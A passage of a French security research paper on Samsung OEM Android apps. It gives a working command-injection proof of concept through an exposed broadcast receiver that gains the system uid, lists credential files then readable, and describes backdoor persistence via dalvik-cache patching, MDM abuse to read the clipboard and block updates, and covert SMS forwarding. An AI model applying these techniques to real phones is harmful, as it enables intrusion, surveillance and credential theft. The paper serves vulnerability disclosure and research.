Ces critères sont pris en compte dans notre base de données NoSQL. Il est ainsi possible d'obtenir la liste des applications répondants à ces

7. Nous rappelons que seule la permission `INTERNET` est nécessaire. Celle-ci autorise la création d'une *socket* sous Android.
8. Nécessite l'accès à la carte SD via une autre vulnérabilité.
9. À condition d'être signées avec le bon certificat.

critères et éviter d'analyser l'ensemble des applications `sharedUserId` à `com.android.system`. Parmi les résultats retournés par la base de données NoSQL, l'application `serviceModeApp.apk` souffre d'une vulnérabilité de type *escape shell* digne des années 90'.

L'application expose un *BroadcastReceiver* appelé `FTATDumpReceiver` (listing 16).

```
<receiver name=".FTATDumpReceiver">
  <intent-filter>
    <action name="com.android.sec.FTAT_DUMP"></action>
  </intent-filter>
</receiver>
<receiver name=".FTATDumpReceiver"
permission="com.sec.android.app.servicemodeapp.permission.KEYSTRING">
  <intent-filter>
    <action name="com.android.sec.FAILDUMP"></action>
  </intent-filter>
</receiver>
```

**Listing 16.** Fichier `AndroidManifest.xml` de l'application `serviceModeApp.apk`

Ce composant est défini deux fois dans le fichier `AndroidManifest.xml` de l'application. La seconde définition le protège par la permission `com.sec.android.app.servicemodeapp.permission.KEYSTRING`, pour les `Intent` ayant comme action `com.android.sec.FAILDUMP`. Cependant, la première définition l'expose aux `Intent` d'action `com.android.sec.FTAT_DUMP`.

Lors de la réception d'un `Intent`, la méthode `onReceive()` (listing 17) de `FTATDumpReceiver` est appelée.

```
public void onReceive(Context paramContext, Intent paramIntent)
{
  String str1 = paramIntent.getAction();
  Log.i("FTATDumpReceiver", "onReceive action=" + str1);
  if (str1.equals("com.android.sec.FTAT_DUMP"))
  {
    String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
    Calendar localCalendar = Calendar.getInstance();
    String str4 = str3 + new DecimalFormat("0000").format(localCalendar.
        get(1));
    String str5 = str4 + new DecimalFormat("00").format(1 +
        localCalendar.get(2));
    String str6 = str5 + new DecimalFormat("00").format(localCalendar.
        get(5));
    String str7 = str6 + new DecimalFormat("00").format(localCalendar.
        get(11));
    String str8 = str7 + new DecimalFormat("00").format(localCalendar.
        get(12));
```

```
    String str9 = str8 + new DecimalFormat("00").format(localCalendar.
        get(13));
    Log.i("FTATDumpReceiver", "Dump Filename is" + str9);
    Intent localIntent2 = new Intent(paramContext, FTATDumpService.class
        );
    localIntent2.setFlags(268435456);
    localIntent2.putExtra("FILENAME", str9);
    paramContext.startService(localIntent2);
  }
  [...]
}
```

**Listing 17.** Méthode onReceive() de FTATDumpReceiver

Si un Intent est reçu avec comme action com.android.sec.FTAT_DUMP, le service FTATDumpService est démarré avec l'attribut additionnel FILENAME de l'Intent reçu en paramètre.

Lors de la réception de l'Intent par le service FTATDumpService, sa méthode onStartCommand() (listing 18) est appelée.

```
public int onStartCommand(Intent paramIntent, int paramInt1, int
    paramInt2)
{
  Log.i("FTATDumpService", "onStartCommand()");
  this.mHandler.sendEmptyMessage(1005);
  final String str = paramIntent.getStringExtra("FILENAME");
  [...]
  new Thread(new Runnable()
  {
    public void run()
    {
      FTATDumpService.this.sendMessage(FTATDumpService.access$600(
          FTATDumpService.this),
      FTATDumpService.this.mHandler.obtainMessage(1014));
      if (FTATDumpService.this.DoShellCmd("dumpstate > /data/log/" + str
          + ".log"))
      FTATDumpService.this.mHandler.sendEmptyMessage(1015);
      [...]
    }
  }).start();
  return 0;
}
```

**Listing 18.** Méthode onStartCommand() de FTATDumpService

Le paramètre FILENAME que nous maîtrisons est utilisé dans une chaîne de caractères qui sert d'argument à la fonction DoShellCmd() dont le code simplifié est présenté dans le listing 19.

```
private boolean DoShellCmd(String paramString)
{
  Log.i("FTATDumpService", "DoShellCmd : " + paramString);
  String[] arrayOfString = new String[3];
```

```
  arrayOfString[0] = "/system/bin/sh";
  arrayOfString[1] = "-c";
  arrayOfString[2] = paramString;
  Log.i("FTATDumpService", "exec command");
  Runtime.getRuntime().exec(arrayOfString).waitFor();
  Log.i("FTATDumpService", "exec done");
  Log.i("FTATDumpService", "DoShellCmd done");
  return true;
}
```

**Listing 19.** Méthode `DoShellCmd()` de `FTATDumpService`

Autrement dit, une *escape shell* des plus classiques, qui ne nécessite aucun privilège pour être utilisée et qui permet l'obtention de l'*uid* `system` comme le montre le PoC (listing 20) ci-dessous :

```
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME
'../../../../../dev/null;/system/bin/id > /sdcard/shellescape;#'
Broadcasting: Intent { act=com.android.sec.FTAT_DUMP (has extras) }
Broadcast completed: result=0
$ adb shell cat /sdcard/shellescape
uid=1000(system) gid=1000(system) groups=1001(radio),1006(camera),
1007(log),1015(sdcard_rw),1023(media_rw),1028(sdcard_r),2001(cache),
3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct)
```

**Listing 20.** Obtention des privilèges systeme via une *escape shell*

**Les permissions obtenues** Le cumul des permissions des applications `sharedUserId` à `system` donne un total de 156 permissions. De plus, nous possédons à présent la permission `android.permission.INSTALL_PACKAGE`, ce qui permet d'installer des applications arbitraires via la commande `pm install package.apk` par exemple.

Outre les attaques en intégrité qu'il est possible d'effectuer depuis l'utilisateur `system`, la confidentialité des informations sensibles stockées sur le *smartphone* peut être compromise. En effet, l'utilisateur `system` peut également accéder à de nombreux fichiers comme :

- `/data/misc/wifi/wpa_supplicant.conf`, le fichier contenant les clés WPA ;
- Les fichiers `guesture.key`, `password.key` et `sparepassword.key` du dossier `/data/system`, qui contiennent les mots de passe/pin-code/schéma de verrouillage de l'équipement ;
- `/data/system/user/X/accounts.db`, le fichier contenant les mots de passe des différents comptes de l'utilisateur et les *tokens* des comptes Gmail.

### 3.4 Rebond dans les applications tierces

Une fois l'*uid* `system` obtenu, il est possible d'impacter les applications installées par l'utilisateur. Deux méthodes sont présentées, la première permet le détournement des bibliothèques de fonctions natives alors que la seconde se concentre sur la manipulation du *bytecode* Dalvik d'un fichier APK.

**Le dossier `/data/data/packagename/lib/`** Lorsqu'une application utilise une bibliothèque de fonctions natives via JNI, celle-ci est présente dans le dossier `/lib/archname/` du fichier APK de l'application. Durant l'installation de l'application par le système, un dossier unique et dédié à l'application est créé sous la forme suivante `/data/data/<packagename>/` avec le `<packagename>` extrait du fichier `AndroidManifest.xml`. Le listing 21 correspond au dossier créé pour l'application Gmail.

```
shell@android:/data/data # ls -al com.google.android.gm/
drwxrwx--x u0_a44 u0_a44 2012-01-01 01:01 cache
drwxrwx--x u0_a44 u0_a44 2013-01-08 16:11 databases
drwxrwx--x u0_a44 u0_a44 2013-01-08 16:11 files
drwxr-xr-x system system 2012-01-01 01:00 lib
drwxrwx--x u0_a44 u0_a44 2013-01-08 16:11 shared_prefs
```

**Listing 21.** Dossier de stockage interne dédié à l'application Gmail

Le dossier `lib/` est présent lorsqu'une application embarque des bibliothèques de fonctions natives. Celui-ci contient les différentes bibliothèques sous la forme de fichiers `.so`. Le lecteur attentif constatera que les différents dossiers à l'exception du dossier `lib/` ont pour propriétaire l'*uid* de l'application elle-même. Le dossier `lib/`, quant à lui, a pour propriétaire l'utilisateur `system`, ce qui implique que nous sommes capables de modifier les bibliothèques de fonctions stockées dans ce dossier. Il devient alors possible d'utiliser les techniques classiques d'infection de binaires ELF.

**Le dalvik-cache** Comme mentionné précédemment, les applications OEM sont généralement sous la forme d'un APK (sans fichier `classes.dex`) et d'un fichier ODEX. Ces fichiers étant installés dans `/system/app`, il n'est pas possible de les modifier sans obtenir, au préalable, les privilèges `root` puisque la partition `/system` est montée en lecture seule sur Android.

Pour les applications standards et les quelques exceptions parmi les applications OEM, le code exécutable est stocké au sein de l'archive APK sous la forme d'un fichier `classes.dex`. Lors du premier lancement de l'application ou après une mise à jour de celle-ci, le système génère une version optimisée du code exécutable au format ODEX. Ce fichier est stocké dans le dossier `/data/dalvik-cache` et sera par la suite utilisée par le système comme étant le code exécutable de l'application. Les fichiers du dalvik-cache sont accessibles en lecture et écriture pour l'*uid* `system` comme le montre le listing 22.

```
shell@android:/data/dalvik-cache # ls -al
[...]
-rw-r--r-- system u0_a144 2771144 2012-12-10 09:37
    system@app@ChromeWithBrowser.apk@classes.dex
[...]
-rw-r--r-- system u0_a31 1201640 2012-12-10 09:37 system@app@Dropbox.
    apk@classes.dex
[...]
-rw-r--r-- system u0_a18 550576 2012-12-10 09:37
system@app@GoogleLoginService.apk@classes.dex
[...]
-rw-r--r-- system u0_a78 1350248 2012-12-10 09:37
system@app@SamsungApps.apk@classes.dex
[...]
-rw-r--r-- system system 242368 2012-12-10 09:37
system@app@serviceModeApp.apk@classes.dex
[...]
```

**Listing 22.** Permissions sur les fichiers du dalvik-cache

Ces fichiers ODEX, bien que possédant une extension `.dex`, sont générés par le système et ne sont donc pas signés par les développeurs. Possédant l'*uid* `system`, il est alors possible de modifier le code exécutable des applications stockées dans le dalvik-cache, même s'il s'agit d'une application tierce ayant un *uid* différent de `system` et des permissions différentes.

Cette méthode peut être utilisée pour :

- obtenir de nouvelles permissions et/ou un *uid* qui n'étaient pas accessibles à la *backdoor* auparavant [10] ;
- obtenir une forme de persistance, en injectant par exemple dans un `BroadcastReceiver` en écoute de l'`Intent` `ACTION_BOOT_COMPLETED` ;
- modifier le comportement de certaines applications en désactivant des protections ou en réalisant du détournement de fonctions.

10. Sans l'installation d'applications supplémentaires via `INSTALL_PACKAGE`

L'application vulnérable permettant d'obtenir les privilèges `system` émet trois notifications (ou `Toasts`) qui sont affichées à l'écran de l'utilisateur lors de l'exploitation de la vulnérabilité. Les notifications affichent les messages suivants :

- Get AP log done - success ;
- Get modem log done - success ;
- Get Copy log done - success.

Puisque les différentes partitions du système sont montées soit en *readonly*, soit en *nosuid*, il n'est pas possible de réaliser une copie de `/system/bin/sh` en *setuid* `system` afin d'éviter de passer par la vulnérabilité à chaque fois que l'on souhaite exécuter une commande shell.

Une solution pour gagner en furtivité auprès de l'utilisateur est de modifier le fichier ODEX de l'application dans le dalvik-cache afin de patcher l'appel qui permet l'affichage de ces notifications. Sachant que pour réaliser ce patch, il faut obtenir l'*uid* `system`, cela signifie que les notifications seront affichées à l'écran au moins une fois. Il est possible de réaliser le déclenchement de cette opération lorsque l'on sait que l'écran est éteint depuis quelques minutes et on suppose donc que l'utilisateur n'utilise plus son téléphone.

L'obtention de l'*uid* `system` sur certains téléphones, comme le Huawei Ascend P1, est d'autant plus critique que l'intégralité des applications OEM sont fournies sous la forme de simples fichiers APK sans fichier ODEX associé. Ceci implique que toutes les applications OEM auront leur fichier ODEX dans le dalvik-cache et seront donc modifiables par un attaquant obtenant l'*uid* `system`.

### 3.5 Samsung MDM for fun and profit

Samsung a intégré dans ses *smartphones* Android (dont le S3) un ensemble de fonctionnalités de type MDM (*Mobile Device Management*) qui permet de faciliter l'intégration des MDM commerciaux existants sur leurs équipements mais également d'offrir des fonctionnalités de contrôle à distance via SamsungDive [11] à ses utilisateurs. Ces fonctionnalités sont implémentées en partie dans le fichier `/system/framework/services.odex`.

11. voir `http://www.samsungdive.com/`

L'analyse de ce fichier permet de constater que chacune des fonctionnalités est protégée par une permission de type `android.permission.sec.MDM_XXX` et que la fonction responsable de la vérification de la possession de cette permission ou non par l'application appelante est `enforceXXXPermission()`.

Le listing 23 correspond au code de la fonction protégeant la manipulation du *Browser* depuis le MDM.

```
private int enforceBrowserPermission()
{
    getEDM().enforceActiveAdminPermission("android.permission.sec.
        MDM_BROWSER_SETTINGS");
    return Binder.getCallingUid();
}
```

**Listing 23.** Vérification de la permission permettant de manipuler le *Browser*

La fonction `getEDM()` retourne une instance de `EnterpriseDeviceManager`. Le listing 24 correspond au code de la fonction `enforceActiveAdminPermission` de la classe `EnterpriseDeviceManager`.

```
public void enforceActiveAdminPermission(String paramString) throws
    SecurityException
{
  int i = Binder.getCallingUid();
  if (i != 1000)
  {
    if((EnterpriseDeviceAdminInfo)this.mAdminMap.get(Integer.valueOf(i))
        == null)
    {
      throw new SecurityException("No active admin owned by uid " + i);
    }else{
      boolean bool = false;
      try
      {
        int j = this.mContext.checkCallingPermission(paramString);
        bool = false;
        if (j == 0)
          bool = true;
        Utils.writeToLog("EnterpriseDeviceManagerService", "is
            permission granted: " + bool);
        if (!bool)
          throw new SecurityException("Admin does not have " +
              paramString);
      }catch (Exception localException){
        Log.w("EnterpriseDeviceManagerService", "could not check calling
            permission")
      }
      Slog.d("EnterpriseDeviceManagerService", "
          enforceActiveAdminDualPermission >>>");
```

```
    }
  }
}
```

**Listing 24.** Fonction de vérification de permission utilisée dans les API du MDM Samsung

Cette fonction vérifie si l'application a l'*uid* `system` (1000) ou si elle possède la permission fournie en argument au travers de `paramString`. L'*uid* `system` est donc un joker ici, qui se verra toujours autoriser l'accès aux fonctionnalités du MDM. Ceci permet la réutilisation de l'ensemble des fonctionnalités du MDM de Samsung dans notre *backdoor* et évite de les réimplémenter.

Ci-dessous une liste non exhaustive des fonctionnalités implémentées dans le MDM de Samsung :

- *application policy* : *backup* d'application, liste blanche ou noire des permissions en fonctions des applications, etc. ;
- *browser policity* : activer/désactiver le JavaScript, etc.
- *email account policy* : gestion des paramètres des comptes emails, comportement par défaut en cas de certificat SSL invalide, etc. ;
- *enterprise VPN policy* : récupération des certificats, gestion des connexions VPN et des identifiants, etc. ;
- *phone restriction* : bloquer le WiFi, les connexions VPN, le *debug* USB, les mises à jour du *firmware*, la réinitialisation aux paramètres d'usine, etc.

Le listing 25 montre la récupération du contenu du presse papier via la fonction `getClipboardTextData()` [12] du MDM Samsung en utilisant la commande `service` inclue sur le système Android :

```
shell@android:/ $ service call misc_policy 14

Result: Parcel(
0x00000000: 00000000 0000002b 00690056 00650074 '....+...V.i.t.e.'
0x00000010: 006c0020 00200061 00650064 00640061 ' .l.a. .d.e.a.d.'
0x00000020: 0069006c 0065006e 00640020 00200075 'l.i.n.e. .d.u. .'
0x00000030: 00660063 00200070 00750064 00730020 'c.f.p. .d.u. .s.'
0x00000040: 00740073 00630069 00610020 00700070 's.t.i.c. .a.p.p.'
0x00000050: 006f0072 00680063 002e0065 0000002e 'r.o.c.h.e.......')
```

**Listing 25.** Récupération du contenu du presse papier via le MDM Samsung

La commande ci-dessous permet d'empêcher le téléphone de mettre à jour son *firmware* via *OTA* (*Over The Air*) :

12. Elle est définie comme suit dans `sec_edm.odex` : `static final int TRANSACTION_getClipboardTextData 14;`

```
shell@android:/ $ service call restriction_policy 47 i32 0

Result: Parcel(00000000 00000001 '........')
```

**Listing 26.** Désactivation des mises à jour du firmware via OTA

Réutiliser le MDM de Samsung permet d'éviter de devoir réimplémenter de nombreuses fonctionnalités, de plus la *backdoor* comportera moins de code susceptible d'être détecté par un antivirus, tels que des appels à des API nécessitant des permissions qui ne sont pas demandées par la *backdoor*.

### 3.6 Forwarding des SMS

Lors de la recherche d'une application vulnérable permettant d'obtenir les SMS à leur réception, l'application `DSMLawmo.apk` s'est avérée intéressante. Cette application possède un `BroadcastReceiver` nommé `DSMSMSReceiver` qui répond aux `Intent` d'action `android.provider.Telephony.SMS_RECEIVED` indiquant la réception d'un nouveau SMS.

L'analyse de la méthode `onReceive()` appelée lors de la réception de l'`Intent` (listing 27) indique rapidement qu'il s'agit d'une application pouvant intéresser un attaquant :

```
[...]
if ("android.provider.Telephony.SMS_RECEIVED".equals(paramIntent.
    getAction()))
{
  Util.Logd("Start to SMS forwarding service");
[...]
```

**Listing 27.** Extrait de la méthode `onReceive()` du composant `DSMSMSReceiver`

Ce `BroadcastReceiver` est chargé de réaliser un *forwarding* de SMS si celui-ci est activé sur le téléphone. Afin de savoir si le *forwarding* est activé, l'application vérifie la présence de la clé `SMSForwarding` dans un objet de type `DSMRepository`. Il s'agit en réalité d'un objet réalisant des requêtes sur le `ContentProvider DSMProvider` dont l'*URI* est `content://com.sec.dsm.system.dsmcontentprovider/dsm`. Cette *URI* pointe vers la base de données SQLite localisée à `/data/data/com.sec.dsm.system/databases/profile.db`.

Le `BroadcastReceiver` teste la présence d'une entrée dans la table `dsm` dont la colonne `Key` a pour valeur `SMSForward`, si c'est le cas le SMS

reçu est inspecté via la méthode `isRepeatedMessage()`. Cette méthode permet de détecter si le SMS a déjà été reçu récemment, si ce n'est pas le cas il est transmis en copie de façon invisible pour l'utilisateur au numéro contenu dans la table `dsm` dont la colonne `Key` est à `SMSRecipient`.

La configuration du *forwarding* des SMS s'effectue via le `BroadcastReceiver DSMReceiver` de l'application `DSMForwarding.apk`. Le code de la méthode `onReceive()` est donné sur le listing 28.

```
public void onReceive(Context paramContext, Intent paramIntent)
{
  if("android.intent.action.dsm.DM_FORWARDING".equals(paramIntent.
      getAction()))
  {
    Util.Logd("get DM_FORWARDING");
    boolean bool1 = paramIntent.getBooleanExtra("callEnable", false);
    boolean bool2 = paramIntent.getBooleanExtra("callDisable", false);
    String str1 = paramIntent.getStringExtra("callnumber");
    boolean bool3 = paramIntent.getBooleanExtra("smsEnable", false);
    boolean bool4 = paramIntent.getBooleanExtra("smsDisable", false);
    String str2 = paramIntent.getStringExtra("smsnumber");
    Intent localIntent = new Intent(paramContext, DSMForwardingService.
        class);
    localIntent.putExtra("callEnable", bool1);
    localIntent.putExtra("callDisable", bool2);
    localIntent.putExtra("callnumber", str1);
    localIntent.putExtra("smsEnable", bool3);
    localIntent.putExtra("smsDisable", bool4);
    localIntent.putExtra("smsnumber", str2);
    paramContext.startService(localIntent);
  }
}
```

**Listing 28.** Fonction `onReceive()` du `BroadcastReceiver DSMReceiver`

Le service `DSMForwardingService` s'occupe d'activer ou désactiver le *forwarding*. Afin d'activer le *forwarding* des SMS, il faut donc envoyer un `Intent` avec les caractéristiques suivantes :

- action = android.intent.action.dsm.DM_FORWARDING ;
- smsEnable = true ;
- smsnumber = le numéro de téléphone qui recevra une copie des SMS.

Cependant, pour pouvoir communiquer avec le `BroadcastReceiver DSMReceiver`, il faut la permission `com.sec.android.permission.DSMFORWARDING` :

```
<receiver name="DSMReceiver" permission="com.sec.android.permission.
    DSMFORWARDING">
  <intent-filter>
    <action name="android.intent.action.dsm.DM_FORWARDING"></action>
  </intent-filter>
```

```
</receiver>
```

**Listing 29.** Extrait du fichier `AndroidManifest.xml` de l'application `DSMForwarding.apk`

D'après la base de données NoSQL, cette permission est seulement possédée par l'application `FmmDM.apk`, mais l'analyse de cette application n'est pas nécessaire. Le fichier `profile.db` qui contient la configuration du *forwarding* est disponible en lecture et écriture pour l'utilisateur `system` :

```
shell@android:/data/data/com.sec.dsm.system/databases # ls -al
-rw-rw---- system system 16384 2013-01-18 22:18 profile.db
```

**Listing 30.** Permissions sur le fichier contenant les informations de forwarding

Ceci signifie qu'il est possible, depuis notre *shell* `system`, de modifier directement le fichier `profile.db` pour activer le *forwarding* des SMS.

## 4 Portée des vulnérabilités et quelques chiffres

Les vulnérabilités présentées dans la section précédente ont été découvertes sur un Samsung Galaxy S3. Cependant, de nombreuses applications sont réutilisées sur d'autres modèles de la marque. Ceci implique qu'il est possible de retrouver les vulnérabilités sur ces autres modèles. En suivant cette idée, les systèmes des différents modèles populaires de Samsung ont été vérifiés, il s'agit des modèles suivants :

- Samsung Galaxy S2 ;
- Samsung Galaxy S3 mini ;
- Samsung Galaxy S4 ;
- Samsung Note 1 et 2 ;
- Samsung Galaxy Tab 1 et 2.

Cette vérification a porté sur les ROMs officielles, distribuées par Samsung. Les ROMs distribuées par les opérateurs téléphoniques (Orange, Free, Bouygues Telecom, Sfr, etc.) n'ont pas été vérifiées. Cependant, elles sont souvent modifiées par les opérateurs afin d'ajouter leurs propres applications (augmentant ainsi la surface d'attaque [13]) et ne se basent pas toujours sur la dernière ROM mise à disposition par

13. Suivant le principe de ce papier, il serait intéressant d'analyser les applications ajoutées par les opérateurs.

Samsung. Il est donc probable que certaines vulnérabilités ne soient pas corrigées sur les ROMS opérateurs.

Les différentes ROMs ont été récupérées sur des forums d'utilisateurs Android. Puis, en utilisant des outils comme `simg2img`[14], il a été possible de convertir les différentes partitions que contiennent une ROM au format `ext4` et ainsi pouvoir en récupérer le contenu.

```
$ tar xvf ROM.tar.md5
$ simg2img system.img
$ sudo mount tmp.img /mnt
$ cp -r /mnt/app .
$ cp -r /mnt/framework .
```

**Listing 31.** Extraction des applications OEM depuis une ROM Android

Une fois le contenu des différents dossiers récupéré, il est possible d'utiliser le script du listing 7 pour obtenir des APK manipulables par la majorité des outils d'analyse.

Grâce à l'outil `A3SA` et aux scripts `androsim` et `androdiff` du *framework* Androguard, qui permettent respectivement de mesurer la similarité entre deux APKs et d'en extraire les différences[15], le contenu des différentes ROMs a été analysé afin de vérifier si les vulnérabilités étaient présentes sur d'autres modèles.

Le tableau Fig. 1, présente le résultat de cette analyse en utilisant l'échelle de notation PWN/PAS PWN[16]. Pour des raisons de lisibilité, un numéro a été attribué à chaque vulnérabilité sous la forme suivante :

- `VULN1` : Obtention de l'*uid* `system` via *shell escape* (section 3.3) ;
- `VULN2` : CRUD sur les SMS/MMS/Contacts/... (section 3.2) ;
- `VULN3` : Envoi de SMS/MMS arbitraire sans permission (section 3.1).

| Modèle | Date de sortie | VULN1 | VULN2 | VULN3 |
|---|---|---|---|---|
| Samsung Galaxy S2 | 05/2011 | PAS PWN | PWN | PWN |
| Samsung Galaxy Tab 1 | 06/2011 | PAS PWN | PWN | N.A |
| Samsung Galaxy Note 1 | 11/2011 | PAS PWN | PWN | PWN |
| Samsung Galaxy S3 | 05/2012 | PWN | PAS PWN | PWN |
| Samsung Galaxy Tab 2 | 05/2012 | PWN | PAS PWN | N.A |
| Samsung Galaxy Note 2 | 10/2012 | PWN | PAS PWN | PAS PWN |
| Samsung Galaxy S3 mini | 11/2012 | PWN | PAS PWN | PAS PWN |
| Samsung Galaxy S4 | ?? | PAS PWN | PAS PWN | PAS PWN |

**Table 1.** Présence des vulnérabilités en fonction du modèle

14. voir `http://code.google.com/p/usefulshellscript/`
15. voir https ://code.google.com/p/elsim/wiki/Similarity
16. voir http ://news0ft.blogspot.fr/2011/05/le-diable-est-dans-les-details.html

Enfin, il est intéressant de remarquer que, les derniers *smartphones* Samsung sont fournis avec de plus en plus d'applications OEM. Ceci laisse une surface d'attaque toujours plus importante. Le tableau Fig. 2 permet de constater l'évolution du nombre d'applications en fonction de la date sortie du modèle. Le Samsung Galaxy S4 n'est pas encore disponible à la vente, mais il est possible de récupérer une copie de la partition `/system` qui a fuitée sur internet [17] et donc d'obtenir cette information.

| Modèle | Date de sortie | Nombre d'applications OEM |
|---|---|---|
| Samsung Galaxy S2 | 05/2011 | 164 |
| Samasung Galaxy Tab 1 | 06/2011 | 149 |
| Samsung Galaxy Note 1 | 11/2011 | 160 |
| Samsung Galaxy S3 | 05/2012 | 217 |
| Samasung Galaxy Tab 2 | 05/2012 | 176 |
| Samsung Galaxy Note 2 | 10/2012 | 223 |
| Samsung Galaxy S3 mini | 11/2012 | 187 |
| Samsung Galaxy S4 | ??/2013 | 274 |

**Table 2.** Nombre d'APK dans `/system/app` par modèle

## 5 Conclusion

Les fonctionnalités des *smartphones* sont de plus en plus puissantes, par conséquent les utilisateurs se voient fournir de plus en plus d'applications OEM augmentant sensiblement la surface d'attaque de leur *smartphone*. La suppression de ces applications nécessite l'obtention des privilèges `root`, ce qui n'est pas conseillé pour un utilisateur lambda. De plus, les applications comme `SuperUser`, qui ont pour rôle de protéger l'accès à l'*uid* `root`, ne sont pas des références en matière de développement sécurisé [18].

L'absence de contrôle par Google sur les applications des constructeurs amoindrit fortement le niveau de sécurité de ces équipements. Il est simple pour un attaquant de trouver des vulnérabilités liées à un modèle ou un ensemble de modèles d'un même constructeur (via la surcouche opérateur) et de réaliser des *backdoors* ne nécessitant peu de

17. voir http ://www.androidpolice.com/2013/03/26/samsung-galaxy-s4s-enormous-1-5gb-system-dump-leaked-and-ready-for-download/
18. voir https ://code.google.com/p/superuser/issues/detail ?id=4

permissions, voire aucune sur le système. L'évolution de la sécurité du système Android avec l'implémentation de mesures contre l'exploitation de vulnérabilités de type corruption de mémoire est rendue presque futile par la présence de vulnérabilités fiables et relativement simples à trouver/exploiter dans les surcouches constructeurs. Les téléphones de type Nexus, pour lesquels les constructeurs n'ajoutent pas leurs applications, deviennent donc des alternatives intéressantes afin de garantir un bon niveau de sécurité.

## Références

1. Fred Chung. Security Enhancements in Jelly Bean. Technical report, Android Developers, 14 February 2013. http://android-developers.blogspot.fr/2013/02/security-enhancements-in-jelly-bean.html.
2. GSMArena.com. Samsung Galaxy S III global sales reach 50 million. http://www.gsmarena.com/samsung_galaxy_s_iii_global_sales_reach_50_million_-news-5709.php, 15 March 2013.
3. Neil Mawston. Android and Apple iOS Capture a Record 92 Percent Share of Global Smartphone Shipments in Q4 2012. Technical report, Strategy Analytics, 28 January 2013. http://blogs.strategyanalytics.com/WSS/post/2013/01/28/Android-and-Apple-iOS-Capture-a-Record-92-Percent-Share-of-Global-Smartphone-Shipments-in-Q4-2012.aspx.
4. Benjamin Morin. Modèle de sécurité d'Android. *MISC 51*, September 2010.
5. Nicolas Ruff. Sécurité du système Android. In *SSTIC*, 8 June 2011. https://www.sstic.org/media/SSTIC2011/SSTIC-actes/Securite_Android/SSTIC2011-Article-Securite_Android-ruff.pdf.